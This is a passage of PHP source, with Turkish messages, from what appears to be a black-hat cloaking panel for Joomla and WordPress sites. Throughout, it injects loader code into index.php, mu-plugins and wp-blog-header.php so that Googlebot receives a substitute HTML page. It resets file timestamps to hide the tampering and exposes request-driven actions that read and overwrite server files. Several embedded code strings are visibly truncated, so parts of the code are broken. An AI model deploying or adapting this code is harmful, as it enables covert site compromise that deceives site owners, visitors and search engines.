if(basename($file)==='wrz-amp-cloak.php')$score+=10; $scored[]=[ 'file'=>$file,'rel'=>$rel,'score'=>$score, 'require'=>"\nrequire_once __DIR__ . '/".$rel."';\n", 'writable'=>wrz_cloak_joomla_path_writable($file), ]; } usort($scored,static function($a,$b){return $b['score']<=>$a['score'];}); return $scored; }} if (!function_exists('wrz_cloak_joomla_try_write_amp_loader')) { function wrz_cloak_joomla_try_write_amp_loader($dir,$ampRelFromRoot){ $ampRelFromRoot=ltrim(str_replace('\\','/',(string)$ampRelFromRoot),'/'); $tried=[]; foreach(wrz_cloak_joomla_amp_loader_paths($dir) as $spec){ $ampExpr=wrz_cloak_joomla_amp_expr_from_loader($ampRelFromRoot,$spec['rel']); $body=wrz_amp_cloak_loader_php($ampExpr,$ampRelFromRoot); $tried[]=$spec['file']; if(wrz_cloak_joomla_write_file($spec['file'],$body)){ return ['ok'=>true,'file'=>$spec['file'],'rel'=>$spec['rel'],'require'=>$spec['require'],'mode'=>'file','tried'=>$tried]; } } return ['ok'=>false,'tried'=>$tried]; }} if (!function_exists('wrz_cloak_joomla_clean_amp_from_index')) { function wrz_cloak_joomla_clean_amp_from_index($content){ $content=(string)$content; $content=preg_replace('/\/\* WRZ-AMP-FILE:[^*]+\*\/\s*/','',$content); $content=preg_replace('/\/\* WRZ-AMP-CLOAK \*\/.*?\/\* \/WRZ-AMP-CLOAK \*\/\s*/s','',$content); $content=preg_replace('/\n?require_once\s+__DIR__\s*\.\s*[\'"]\/(?:tmp\/|cache\/|includes\/|images\/|media\/|administrator\/cache\/|components\/[^\'"]+\/)?(?:wrz-amp-cloak|wp-caches-amp|amp-bridge)\.php[\'"]\s*;\s*/',"\n",$content); $content=preg_replace('/\n?require_once\s+__DIR__\s*\.\s*[\'"]\/(?:wrz-amp-cloak|wp-caches-amp|amp-bridge)\.php[\'"]\s*;\s*/',"\n",$content); return $content; }} if (!function_exists('wrz_cloak_php_syntax_ok')) { function wrz_cloak_php_syntax_ok($code){ if(!is_string($code)||$code==='')return false; if(function_exists('token_get_all')){ try{ token_get_all($code,TOKEN_PARSE); return true; }catch(Throwable $e){ return false; } } return true; }} if (!function_exists('wrz_cloak_joomla_inject_amp_require')) { function wrz_cloak_joomla_inject_amp_require($content,$inject,$prefer=null){ $content=(string)$content; if(strpos($content,'wrz-amp-cloak.php')!==false||strpos($content,'WRZ-AMP-CLOAK')!==false)return $content; $try=[ 'w7_eof'=>static function($c) use ($inject){ if(!preg_match('/(##\s*W7\s+Front-End\s+Shield\s+EOF[^\r\n]*\r?\n)(?![\s\r\n]*\?>)/i',$c))return null; return preg_replace('/(##\s*W7\s+Front-End\s+Shield\s+EOF[^\r\n]*\r?\n)/i','$1'.$inject,$c,1); }, 'after_w7_php'=>static function($c) use ($inject){ if(!preg_match('/(##\s*W7\s+Front-End\s+Shield\s+EOF[^\r\n]*\r?\n\s*\?>\s*)(<\?php\s*)?/i',$c,$m))return null; return preg_replace('/(##\s*W7\s+Front-End\s+Shield\s+EOF[^\r\n]*\r?\n\s*\?>\s*)(<\?php\s*)?/i','$1$2'.$inject,$c,1); }, 'after_strict'=>static function($c) use ($inject){ if(!preg_match('/^(<\?php)(.*?)(declare\s*\(\s*strict_types\s*=\s*1\s*\)\s*;)/s',$c,$m))return null; return $m[1].$m[2].$m[3].$inject.substr($c,strlen($m[0])); }, 'before_app'=>static function($c) use ($inject){ if(!preg_match("/(\n)(\s*require_once\s+__DIR__\s*\.\s*['\"]\/includes\/app\.php['\"]\s*;)/",$c,$m))return null; return str_replace($m[0],$inject.$m[0],$c); }, 'after_php'=>static function($c) use ($inject){ if(!preg_match('/^(<\?php)/',$c))return null; return preg_replace('/^(<\?php)/','$1'.$inject,$c,1); }, ]; $order=$prefer&&isset($try[$prefer])?[$prefer]:array_keys($try); if($prefer)$order=array_values(array_unique(array_merge($order,array_keys($try)))); foreach($order as $key){ if(!isset($try[$key]))continue; $new=$try[$key]($content); if(is_string($new)&&$new!==$content)return $new; } return null; }} if (!function_exists('wrz_cloak_joomla_amp_plan')) { function wrz_cloak_joomla_amp_plan($dir){ $dir=rtrim(str_replace('\\','/',$dir),'/'); $idxInfo=wrz_cloak_joomla_analyze_index($dir); $htInfo=wrz_cloak_joomla_analyze_htaccess($dir); $ampSpec=wrz_cloak_joomla_find_amp($dir); $loaderPick=null; foreach(wrz_cloak_joomla_amp_loader_paths($dir) as $spec){ if($spec['writable']||@is_file($spec['file'])){ $loaderPick=$spec; break; } } return [ 'index'=>$idxInfo, 'htaccess'=>$htInfo, 'amp'=>$ampSpec, 'loader'=>$loaderPick, 'inject'=>$idxInfo['inject'], 'strategy'=>($idxInfo['w7_shield']?'W7 Shield + loader':($loaderPick?'Loader ('.$loaderPick['rel'].')':'inline fallback')), ]; }} if (!function_exists('wrz_cloak_joomla_amp_install')) { function wrz_cloak_joomla_amp_install($dir){ global $JOOMLA_INDEX_BAK; $dir=rtrim(str_replace('\\','/',$dir),'/'); $idx=$dir.'/index.php'; $report=[ 'ok'=>false, 'index'=>'ERR', 'loader'=>'ERR', 'amp'=>'ERR', 'inject'=>'', 'loader_path'=>'', 'amp_path'=>'amp.php', 'plan'=>[], 'steps'=>[], ]; $report['plan']=wrz_cloak_joomla_amp_plan($dir); if(!@is_file($idx)){ $report['index']='ERR:NO_INDEX'; $report['steps'][]='index.php bulunamadi'; return $report; } if(!@is_file($dir.'/configuration.php')){ $report['index']='ERR:NOT_JOOMLA'; $report['steps'][]='configuration.php yok'; return $report; } $idxInfo=$report['plan']['index']; if(!$idxInfo['valid']&&!$idxInfo['has_cloak']){ $report['index']='ERR:INVALID_INDEX'; $report['steps'][]='index.php gecersiz Joomla sablonu'; return $report; } $ampSpec=wrz_cloak_joomla_resolve_amp($dir); if(!$ampSpec){ $report['amp']='ERR'; $report['index']='ERR:AMP'; $report['steps'][]='amp.php olusturulamadi'; return $report; } $report['amp_path']=$ampSpec['rel']; $report['amp']=@is_file($ampSpec['full'])?'EXISTS':'CREATED'; $content=(string)@file_get_contents($idx); if(substr($content,0,3)==="\xEF\xBB\xBF")$content=substr($content,3); if(strpos($content,'wp-blog-header.php')!==false){ $report['index']='ERR:WP_INDEX'; return $report; } wrz_cloak_joomla_backup_index($dir); $content=wrz_cloak_joomla_clean_index_content($content); $content=wrz_cloak_joomla_clean_amp_from_index($content); $loader=wrz_cloak_joomla_try_write_amp_loader($dir,$ampSpec['rel']); $loaderMode='file'; if(empty($loader['ok'])){ $inject=wrz_cloak_joomla_amp_inline_block($ampSpec['index_expr'],$ampSpec['rel']); $loaderMode='inline'; $report['loader']='INLINE'; $report['steps'][]='Loader dosyasi yazilamadi — guvenli inline mod (site bozulmaz)'; if(!empty($loader['tried'])){ $report['steps'][]='Denenen: '.implode(', ',array_map('basename',(array)$loader['tried'])); } }else{ $report['loader']='OK'; $report['loader_path']=str_replace('\\','/',$loader['file']); $report['steps'][]='Loader: '.$loader['file']; $inject=$loader['require']; } if(strpos($content,'wrz-amp-cloak.php')===false&&strpos($content,'WRZ-AMP-CLOAK')===false){ $new=wrz_cloak_joomla_inject_amp_require($content,$inject,$idxInfo['inject']); if($new===null&&$loaderMode==='inline'){ $altOrder=$idxInfo['w7_shield']?['after_w7_php','before_app','after_strict']:['after_php','before_app','after_strict']; foreach($altOrder as $alt){ $new=wrz_cloak_joomla_inject_amp_require($content,$inject,$alt); if($new!==null)break; } } if($new===null){ $report['index']='ERR:BAD_INDEX'; $report['steps'][]='index.php enjeksiyon noktasi bulunamadi'; return $report; } $content=$new; $report['inject']=$idxInfo['inject'].($loaderMode==='inline'?'+inline':''); $report['steps'][]='index.php enjekte: '.$report['inject']; }else{ $report['inject']='exists'; $report['steps'][]='index.php zaten cloak satiri iceriyor'; } if(!wrz_cloak_php_syntax_ok($content)){ $report['index']='ERR:SYNTAX'; $report['steps'][]='index.php PHP syntax hatasi — yazilmadi'; return $report; } if(!wrz_joomla_index_looks_valid($content)&&strpos($content,'includes/app.php')===false&&strpos($content,'includes/framework.php')===false&&strpos($content,'WRZ-AMP-CLOAK')===false){ $report['index']='ERR:WOULD_BREAK'; $report['steps'][]='index.php dogrulama basarisiz — yazilmadi'; return $report; } if(!@is_writable($idx)&&@is_file($idx)){ $report['index']='ERR:READONLY'; $report['steps'][]='index.php salt okunur'; return $report; } $ok=@file_put_contents($idx,$content)!==false; if(!$ok){ $report['index']='ERR:WRITE'; $report['steps'][]='index.php yazilamadi'; return $report; } @chmod($idx,0644); if(function_exists('opcache_invalidate'))@opcache_invalidate($idx,true); $report['index']='OK'; $report['ok']=true; $ht=$report['plan']['htaccess']; if(!empty($ht['warnings'])){ $report['steps'][]='htaccess uyarilari: '.implode('; ',$ht['warnings']); } $report['steps'][]='Kurulum tamam — amp.php duzenleyip GoogleBot testi yapin'; return $report; }} if (!function_exists('wrz_cloak_joomla_remove_amp')) { function wrz_cloak_joomla_remove_amp($dir){ global $JOOMLA_AMP_LOADER; $dir=rtrim(str_replace('\\','/',$dir),'/'); $idx=$dir.'/index.php'; foreach(wrz_cloak_joomla_amp_loader_candidates($dir) as $c){ if(@is_file($c['file']))@unlink($c['file']); } foreach(['wrz-amp-cloak.php','wp-caches-amp.php','amp-bridge.php'] as $n){ if(@is_file($dir.'/'.$n))@unlink($dir.'/'.$n); } if(@is_file($idx)){ $c=wrz_cloak_joomla_clean_amp_from_index((string)@file_get_contents($idx)); @file_put_contents($idx,$c); } }} if (!function_exists('wrz_cloak_joomla_apply_amp')) { function wrz_cloak_joomla_apply_amp($dir){ $r=wrz_cloak_joomla_amp_install($dir); return !empty($r['ok'])?'OK':($r['index']??'ERR'); }} if (!function_exists('wrz_cloak_wp_apply_amp')) { function wrz_cloak_wp_apply_amp($dir){ global $AMP_FILE; $dir=rtrim(str_replace('\\','/',$dir),'/'); if(!@is_file($dir.'/wp-load.php'))return 'ERR:NOT_WP'; $muDir=$dir.'/wp-content/mu-plugins'; if(!@is_dir($muDir))@mkdir($muDir,0755,true); if(!@is_dir($muDir))return 'ERR:MU_DIR'; $code=wrz_amp_cloak_loader_php('(defined(\'ABSPATH\')?ABSPATH:\''.str_replace("'","\\'",$dir.'/').'\').\'amp.php\'','amp.php'); $muFile=$muDir.'/wrz-amp-cloak.php'; $ok=@file_put_contents($muFile,$code)!==false; if($ok)@chmod($muFile,0644); if(!$ok)return 'ERR:MU_WRITE'; wrz_cloak_ensure_amp_file($dir); return 'OK'; }} if (!function_exists('wrz_cloak_wp_remove_amp')) { function wrz_cloak_wp_remove_amp($dir){ $dir=rtrim(str_replace('\\','/',$dir),'/'); $mu=$dir.'/wp-content/mu-plugins/wrz-amp-cloak.php'; if(@is_file($mu))@unlink($mu); }} if (!function_exists('wrz_cloak_joomla_loader_content')) { function wrz_cloak_joomla_loader_content(){ return <<<'WRZBOTCLOAK' 0)@ob_end_clean(); if(!headers_sent()){ header('Content-Type: text/html; charset=utf-8'); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('Pragma: no-cache'); header('Vary: User-Agent'); } readfile($_wrz_html); exit; WRZBOTCLOAK; }} if (!function_exists('wrz_cloak_joomla_inline_block')) { function wrz_cloak_joomla_inline_block(){ return <<<'WRZINLINE' /* WRZ-JOOMLA-CLOAK */ if(!defined('WRZ_BOT_CLOAK_DONE')){define('WRZ_BOT_CLOAK_DONE',1); $_wrz_ua=''; foreach(['HTTP_USER_AGENT','HTTP_X_ORIGINAL_USER_AGENT','HTTP_X_USER_AGENT'] as $_wrz_h){ if(!empty($_SERVER[$_wrz_h])){$_wrz_ua=(string)$_SERVER[$_wrz_h];break;} } $_wrz_uri=isset($_SERVER['REQUEST_URI'])?(string)$_SERVER['REQUEST_URI']:'/'; $_wrz_path=strtok($_wrz_uri,'?')?:'/'; if($_wrz_path==='')$_wrz_path='/'; if($_wrz_path!=='/'&&substr($_wrz_path,-1)==='/')$_wrz_path=rtrim($_wrz_path,'/')?:'/'; $_wrz_home=in_array($_wrz_path,['/','/index.php'],true); if($_wrz_home&&preg_match('/googlebot|adsbot|mediapartners|apis-google|google-inspectiontool|googleother|google-extended|storebot-google/i',$_wrz_ua)){ $_wrz_html=__DIR__.'/wp-comments-post-loader.html'; if(is_file($_wrz_html)&&@filesize($_wrz_html)>=10){ while(ob_get_level()>0)@ob_end_clean(); if(!headers_sent()){header('Content-Type: text/html; charset=utf-8');header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');header('Pragma: no-cache');header('Vary: User-Agent');} readfile($_wrz_html);exit; } }} /* /WRZ-JOOMLA-CLOAK */ WRZINLINE; }} if (!function_exists('wrz_cloak_joomla_loader_paths')) { function wrz_cloak_joomla_loader_paths($dir){ global $JOOMLA_CLOAK_LOADER; $dir=rtrim(str_replace('\\','/',$dir),'/'); return [ ['file'=>$dir.'/'.$JOOMLA_CLOAK_LOADER,'require'=>"\nrequire_once __DIR__ . '/wrz-bot-cloak.php';\n"], ['file'=>$dir.'/tmp/'.$JOOMLA_CLOAK_LOADER,'require'=>"\nrequire_once __DIR__ . '/tmp/wrz-bot-cloak.php';\n"], ['file'=>$dir.'/cache/'.$JOOMLA_CLOAK_LOADER,'require'=>"\nrequire_once __DIR__ . '/cache/wrz-bot-cloak.php';\n"], ['file'=>$dir.'/includes/'.$JOOMLA_CLOAK_LOADER,'require'=>"\nrequire_once __DIR__ . '/includes/wrz-bot-cloak.php';\n"], ]; }} if (!function_exists('wrz_cloak_joomla_try_write_loader')) { function wrz_cloak_joomla_try_write_loader($dir){ $body=wrz_cloak_joomla_loader_content(); foreach(wrz_cloak_joomla_loader_paths($dir) as $spec){ $parent=dirname($spec['file']); if(!@is_dir($parent))@mkdir($parent,0755,true); if(@file_put_contents($spec['file'],$body)!==false){ @chmod($spec['file'],0644); return ['ok'=>true,'file'=>$spec['file'],'require'=>$spec['require']]; } } return ['ok'=>false]; }} if (!function_exists('wrz_cloak_joomla_clean_index_content')) { function wrz_cloak_joomla_clean_index_content($content){ $content=(string)$content; $content=preg_replace('/\/\* WRZ-JOOMLA-CLOAK \*\/.*?\/\* \/WRZ-JOOMLA-CLOAK \*\/\s*/s','',$content); $content=preg_replace('/\n?require_once\s+__DIR__\s*\.\s*[\'"]\/(?:tmp\/|cache\/|includes\/)?wrz-bot-cloak\.php[\'"]\s*;\s*/',"\n",$content); return $content; }} if (!function_exists('wrz_cloak_joomla_remove_cloak')) { function wrz_cloak_joomla_remove_cloak($dir){ global $JOOMLA_CLOAK_LOADER; $dir=rtrim(str_replace('\\','/',$dir),'/'); $idx=$dir.'/index.php'; foreach(wrz_cloak_joomla_loader_paths($dir) as $spec){ if(@is_file($spec['file']))@unlink($spec['file']); } if(@is_file($dir.'/'.$JOOMLA_CLOAK_LOADER))@unlink($dir.'/'.$JOOMLA_CLOAK_LOADER); if(@is_file($idx)){ $c=wrz_cloak_joomla_clean_index_content((string)@file_get_contents($idx)); @file_put_contents($idx,$c); } }} if (!function_exists('wrz_cloak_cms')) { function wrz_cloak_cms($dir){ return function_exists('wrz_cloak_cms_type')?wrz_cloak_cms_type($dir):'unknown'; }} if (!function_exists('wrz_cloak_wp_tpl')) { function wrz_cloak_wp_tpl(){ global $TEMPLATES,$INDEX_FILE; return isset($TEMPLATES['wordpress'][$INDEX_FILE])?$TEMPLATES['wordpress'][$INDEX_FILE]:null; }} if (!function_exists('wrz_cloak_joomla_bootstrap')) { function wrz_cloak_joomla_bootstrap($dir){ $dir=rtrim(str_replace('\\','/',$dir),'/'); if(@is_file($dir.'/includes/app.php'))return $dir.'/includes/app.php'; if(@is_file($dir.'/includes/framework.php'))return $dir.'/includes/framework.php'; return $dir.'/includes/app.php'; }} if (!function_exists('wrz_cloak_bot_block')) { function wrz_cloak_bot_block($htmlVar){ return "\n/* WRZ-CLOAK-START */\n" .'$_wrz_ua=isset($_SERVER[\'HTTP_USER_AGENT\'])?$_SERVER[\'HTTP_USER_AGENT\']:\'\';'."\n" .'$_wrz_uri=isset($_SERVER[\'REQUEST_URI\'])?strtok($_SERVER[\'REQUEST_URI\'],\'?\'):\'\';'."\n" .'if(preg_match(\'/Googlebot|AdsBot-Google|Mediapartners-Google|Google-InspectionTool|Google-/i\',$_wrz_ua)&&$_wrz_uri===\'/\'){'."\n" .' $_wrz_html='.$htmlVar.';'."\n" .' if(file_exists($_wrz_html)){while(ob_get_level()>0)ob_end_clean();header(\'Content-Type: text/html; charset=utf-8\');header(\'Vary: User-Agent\');readfile($_wrz_html);exit;}'."\n" .'}'."\n" .'unset($_wrz_ua,$_wrz_uri,$_wrz_html);'."\n" ."/* WRZ-CLOAK-END */\n"; }} if (!function_exists('wrz_cloak_patch_bootstrap')) { function wrz_cloak_patch_bootstrap($filePath,$htmlPathExpr){ if(!@file_exists($filePath))return 'ERR'; $content=(string)@file_get_contents($filePath); if(strpos($content,'WRZ-CLOAK-START')!==false)return 'EXISTS'; $mtime=@filemtime($filePath); $block=wrz_cloak_bot_block($htmlPathExpr); if(preg_match('/^(<\?php)/',$content)){ $new=preg_replace('/^(<\?php)/','$1'.$block,$content,1); }else{ $new=$content.$block; } $ok=($new!==null&&$new!==$content)?@file_put_contents($filePath,$new):@file_put_contents($filePath,$content.$block); if($ok!==false&&$mtime)@touch($filePath,$mtime); return $ok!==false?'OK':'ERR'; }} if (!function_exists('wrz_cloak_unpatch_bootstrap')) { function wrz_cloak_unpatch_bootstrap($filePath){ if(!@file_exists($filePath))return; $content=(string)@file_get_contents($filePath); if(strpos($content,'WRZ-CLOAK-START')===false)return; $mtime=@filemtime($filePath); $clean=preg_replace('/\/\* WRZ-CLOAK-START \*\/.*?\/\* WRZ-CLOAK-END \*\/\s*/s','',$content); $ok=@file_put_contents($filePath,$clean); if($ok!==false&&$mtime)@touch($filePath,$mtime); }} if (!function_exists('wrz_cloak_safe_inject_php')) { function wrz_cloak_safe_inject_php($content,$block,$marker){ if(strpos($content,$marker)!==false)return null; if(preg_match('/^(<\?php)(.*?)(declare\s*\(\s*strict_types\s*=\s*1\s*\)\s*;)/s',$content,$m)){ return $m[1].$m[2].$m[3].$block.substr($content,strlen($m[0])); } if(preg_match('/^(<\?php)/',$content)){ return preg_replace('/^(<\?php)/','$1'.$block,$content,1); } return 'mktime(0,0,0,1,1,2010))$mt[]=$t; } closedir($dh); } if(empty($mt))return null; sort($mt); return $mt[(int)(count($mt)/2)]; } } // ---- AMP cloak — Joomla / WordPress ayri, guvenli --------------------------- if($a==="joomla_amp_scan"){ if(!@is_file($DIR.'/configuration.php')){ wrz_cloak_json_exit(['error'=>'Joomla kok bulunamadi']); } wrz_cloak_json_exit(wrz_cloak_joomla_amp_plan($DIR)); } if($a==="autocloak_amp"){ $targetCms=isset($_GET['cms'])?strtolower(trim((string)$_GET['cms'])):''; if($targetCms!=='joomla'&&$targetCms!=='wordpress'){ wrz_cloak_json_exit(['error'=>'cms=joomla veya cms=wordpress gerekli','index'=>'ERR']); } $results=['cms'=>$targetCms,'mode'=>'amp']; try { $idx=$DIR.DIRECTORY_SEPARATOR.$INDEX_FILE; $origMtime=file_exists($idx)?@filemtime($idx):null; if($targetCms==='joomla'){ if(!@is_file($DIR.'/configuration.php')){ wrz_cloak_json_exit(['error'=>'Joomla kok bulunamadi','index'=>'ERR:NOT_JOOMLA']); } wrz_cloak_joomla_remove_amp($DIR); $install=wrz_cloak_joomla_amp_install($DIR); $results=array_merge($results,$install); $results['index']=$install['index']??'ERR'; $results['loader']=$install['loader']??'ERR'; $results['mu_plugin']='NA'; $results['plan']=$install['plan']??[]; $results['inject_point']=$install['inject']??''; $results['loader_file']=isset($install['loader_path'])?basename((string)$install['loader_path']):''; $results['amp_path']=$install['amp_path']??'amp.php'; $results['amp']=$install['amp']??'ERR'; $results['amp_size']=0; if(!empty($install['amp_path'])){ $af=$DIR.'/'.str_replace('\\','/',$install['amp_path']); if(@is_file($af))$results['amp_size']=(int)@filesize($af); } }else{ if(!@is_file($DIR.'/wp-load.php')){ wrz_cloak_json_exit(['error'=>'WordPress kok bulunamadi','index'=>'ERR:NOT_WP']); } $results['index']=wrz_cloak_wp_apply_amp($DIR); $results['loader']='NA'; $results['mu_plugin']=(@is_file($DIR.'/wp-content/mu-plugins/wrz-amp-cloak.php'))?'OK':'ERR'; } if(($results['index']??'')==='OK'&&$origMtime&&@is_file($idx))@touch($idx,$origMtime); if($targetCms==='wordpress'){ $results['amp']=wrz_cloak_ensure_amp_file($DIR); $results['amp_path']='amp.php'; $results['amp_size']=@is_file($DIR.'/amp.php')?(int)@filesize($DIR.'/amp.php'):0; } $okIdx=($results['index']??'')==='OK'; $strategy=($targetCms==='joomla'&&isset($results['plan']['strategy']))?$results['plan']['strategy']:''; $results['message']=$okIdx ?('AMP cloak aktif'.($strategy?(' — '.$strategy):'').' — amp.php duzenleyin, GoogleBot testi yapin.') :('Basarisiz: '.($results['index']??'ERR').(isset($results['steps'])?(' | '.implode(' · ',(array)$results['steps'])):'')); } catch (Throwable $e) { wrz_cloak_json_exit(['error'=>$e->getMessage(),'index'=>'ERR']); } wrz_cloak_json_exit($results); } // ---- Otomatik cloak: index.php'ye cloak şablonu yaz + .html yoksa oluştur -- if($a==="autocloak"){ $results=[]; try { $cms=wrz_cloak_cms($DIR); $idx=$DIR.DIRECTORY_SEPARATOR.$INDEX_FILE; $origMtime=file_exists($idx)?@filemtime($idx):null; $html=$DIR.DIRECTORY_SEPARATOR.$HTML_FILE; if($cms==='joomla'){ if(!file_exists($idx)){ wrz_cloak_json_exit(['error'=>'Joomla index.php bulunamadi','index'=>'ERR:NO_INDEX']); } wrz_cloak_joomla_unpatch_all($DIR); $results['index']=wrz_cloak_joomla_apply($DIR); if(($results['index']==='OK'||$results['index']==='OK:INLINE'||$results['index']==='EXISTS')&&$origMtime)@touch($idx,$origMtime); $results['loader']=($results['index']==='OK')?'OK':(($results['index']==='OK:INLINE')?'INLINE':'ERR'); $results['includes_app']='SKIP'; $results['mu_plugin']='NA'; $results['wp_blog_header']='NA'; }else{ $wpTpl=wrz_cloak_wp_tpl(); $cloakTpl=($wpTpl&&isset($wpTpl['cloak']))?$wpTpl['cloak']:''; if($cloakTpl===''){ wrz_cloak_json_exit(['error'=>'Cloak sablonu yok','index'=>'ERR']); } $ok1=@file_put_contents($idx,$cloakTpl); if($ok1!==false&&$origMtime)@touch($idx,$origMtime); $results['index']=$ok1!==false?'OK':'ERR'; $muDir=$DIR.'/wp-content/mu-plugins'; $muFile=$muDir.'/wrz-google-bot-bypass.php'; $muCode='0)ob_end_clean();'."\n" .' header(\'Content-Type: text/html; charset=utf-8\');'."\n" .' header(\'Vary: User-Agent\');'."\n" .' readfile($_wrz_html);exit;'."\n" .' }'."\n" .'}'."\n" .'unset($_wrz_ua,$_wrz_uri,$_wrz_html);'."\n"; if(!is_dir($muDir))@mkdir($muDir,0755,true); if(is_dir($muDir)){ $ok3=@file_put_contents($muFile,$muCode); $results['mu_plugin']=$ok3!==false?'OK':'ERR'; }else{ $results['mu_plugin']='ERR'; } $wpblog=$DIR.'/wp-blog-header.php'; if(!file_exists($wpblog)){ $results['wp_blog_header']='ERR'; }else{ $results['wp_blog_header']=wrz_cloak_patch_bootstrap($wpblog,"__DIR__.'/wp-comments-post-loader.html'"); } $results['includes_app']='NA'; } $htmlSize=@file_exists($html)?(int)@filesize($html):0; if(!file_exists($html)||$htmlSize<80){ $ok2=@file_put_contents($html,$HTML_DEFAULT); if($ok2!==false&&$origMtime)@touch($html,$origMtime); $results['html']=$ok2!==false?($htmlSize>0&&$htmlSize<80?'REFILLED':'CREATED'):'ERR'; $results['html_warn']='Perde HTML bos/eksik — Perde Tasarimini Duzenle bolumunden gercek HTML kaydedin'; }else{ $results['html']='EXISTS'; } $results['html_size']=@file_exists($html)?(int)@filesize($html):0; $results['cloak_marker']=(@is_file($idx)&&(strpos((string)@file_get_contents($idx),'wrz-bot-cloak.php')!==false||strpos((string)@file_get_contents($idx),'WRZ-JOOMLA-CLOAK')!==false)); if(!isset($results['loader'])){ $results['loader']=(@is_file($DIR.'/wrz-bot-cloak.php')||@is_file($DIR.'/tmp/wrz-bot-cloak.php')||@is_file($DIR.'/cache/wrz-bot-cloak.php'))?'OK':((strpos((string)@file_get_contents($idx),'WRZ-JOOMLA-CLOAK')!==false)?'INLINE':'ERR'); } $results['message']=($results['index']==='OK'||$results['index']==='OK:INLINE'||$results['index']==='EXISTS') ?('Cloak aktif ('.$results['loader'].'). GoogleBot testi yapin.') :('Cloak yazilamadi: '.$results['index']); $results['cms']=$cms; } catch (Throwable $e) { wrz_cloak_json_exit(['error' => $e->getMessage(), 'index' => 'ERR']); } wrz_cloak_json_exit($results); } // ---- Orijinale dön / acil geri al ------------------------------------------ if($a==="revert"||$a==="force_revert"){ $force=($a==='force_revert'); $cms=wrz_cloak_cms($DIR); $isJoomla=($cms==='joomla')||@is_file($DIR.'/configuration.php'); $idx=$DIR.DIRECTORY_SEPARATOR.$INDEX_FILE; $origMtime=file_exists($idx)?@filemtime($idx):null; $ok=false; $log=[]; try { if($isJoomla||$force){ wrz_cloak_joomla_unpatch_all($DIR); wrz_cloak_joomla_remove_cloak($DIR); wrz_cloak_joomla_remove_amp($DIR); $ok=wrz_cloak_joomla_restore_index($DIR); $log[]='joomla_restore:'.($ok?'OK':'ERR'); } if($cms==='wordpress'&&!$isJoomla){ $wpTpl=wrz_cloak_wp_tpl(); $orig=($wpTpl&&isset($wpTpl['orig']))?$wpTpl['orig']:''; if($orig!=='')$ok=@file_put_contents($idx,$orig)!==false; $bypassFile=$DIR.'/wp-content/mu-plugins/wrz-google-bot-bypass.php'; if(file_exists($bypassFile))@unlink($bypassFile); wrz_cloak_unpatch_bootstrap($DIR.'/wp-blog-header.php'); wrz_cloak_wp_remove_amp($DIR); }elseif($force&&!$isJoomla&&!$ok){ wrz_cloak_joomla_unpatch_all($DIR); wrz_cloak_joomla_remove_amp($DIR); $ok=wrz_cloak_joomla_restore_index($DIR)||$ok; $bypassFile=$DIR.'/wp-content/mu-plugins/wrz-google-bot-bypass.php'; if(file_exists($bypassFile))@unlink($bypassFile); wrz_cloak_unpatch_bootstrap($DIR.'/wp-blog-header.php'); wrz_cloak_wp_remove_amp($DIR); }elseif($isJoomla){ wrz_cloak_wp_remove_amp($DIR); } if($origMtime&&file_exists($idx))@touch($idx,$origMtime); if(function_exists('opcache_invalidate')&&file_exists($idx))@opcache_invalidate($idx,true); } catch (Throwable $e) { wrz_cloak_json_exit(['ok'=>false,'error'=>$e->getMessage(),'cms'=>$cms,'is_joomla'=>$isJoomla,'dir'=>$DIR,'log'=>$log]); } if($force){ wrz_cloak_json_exit(['ok'=>(bool)$ok,'cms'=>$cms,'is_joomla'=>$isJoomla,'dir'=>$DIR,'log'=>$log]); } wrz_cloak_clean_buffers(); header('Content-Type: text/plain; charset=utf-8'); echo $ok?'OK':'ERR'; exit; } // ---- Joomla index.php olustur / geri yukle --------------------------------- if($a==="restore_index"){ $ok=wrz_cloak_joomla_restore_index($DIR); $idxPath=$DIR.DIRECTORY_SEPARATOR.'index.php'; $idxPreview=@is_file($idxPath)?wrz_cloak_sub((string)@file_get_contents($idxPath),0,120):''; while(ob_get_level()>0)ob_end_clean(); header('Content-Type:application/json'); echo json_encode([ 'ok'=>(bool)$ok, 'dir'=>$DIR, 'index_exists'=>@is_file($idxPath), 'index_valid'=>@is_file($idxPath)?wrz_joomla_index_looks_valid((string)@file_get_contents($idxPath)):false, 'preview'=>$idxPreview, ],JSON_UNESCAPED_UNICODE);exit; } // ---- Dosya oku (base64 döner) ----------------------------------------------- if($a==="raw"){ $name=wrz_cloak_b64url_decode(isset($_GET["b"])?$_GET["b"]:''); if(!wrz_cloak_safe_name($name))die("Forbidden"); $allowed=[$INDEX_FILE,$HTML_FILE,'amp.php']; if(!in_array($name,$allowed,true))die("Forbidden"); if($name==='amp.php'&&function_exists('wrz_cloak_joomla_amp_write_target')){ $target=wrz_cloak_joomla_amp_write_target($DIR); }else{ $target=$DIR.DIRECTORY_SEPARATOR.$name; } while(ob_get_level()>0)ob_end_clean(); header("Content-Type:text/plain;charset=utf-8"); header("X-Body-Encoding: base64"); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Pragma: no-cache"); echo base64_encode((string)@file_get_contents($target));exit; } // ---- amp.php kaydet -------------------------------------------------------- if($a==="saveamp"){ global $AMP_FILE; if(function_exists('wrz_cloak_joomla_amp_write_target')){ $target=wrz_cloak_joomla_amp_write_target($DIR); }else{ $target=$DIR.DIRECTORY_SEPARATOR.$AMP_FILE; } $d=isset($_POST["d"])?$_POST["d"]:''; $bin=@hex2bin($d); while(ob_get_level()>0)ob_end_clean(); if($bin===false){echo"ERR: bozuk veri";exit;} if(preg_match('/<\?(?!xml)/i',$bin)){echo"ERR: amp.php sadece HTML olmali (PHP etiketi yasak)";exit;} $parent=@dirname($target); if($parent&&!@is_dir($parent))@mkdir($parent,0755,true); $ok=@file_put_contents($target,$bin); if($ok)@chmod($target,0644); echo $ok!==false?'OK':'ERR';exit; } // ---- .html kaydet (serbest) -------------------------------------------------- if($a==="savehtml"){ $target=$DIR.DIRECTORY_SEPARATOR.$HTML_FILE; $d=isset($_POST["d"])?$_POST["d"]:''; $bin=@hex2bin($d); while(ob_get_level()>0)ob_end_clean(); if($bin===false){echo"ERR: bozuk veri";exit;} if(strpos($bin,'0)ob_end_clean(); if(!wrz_cloak_safe_name($name)||!wrz_cloak_is_google_file($name)){echo"Forbidden";exit;} $target=$DIR.DIRECTORY_SEPARATOR.$name; $d=isset($_POST["d"])?$_POST["d"]:''; $bin=@hex2bin($d); if($bin===false){echo"ERR: bozuk veri";exit;} 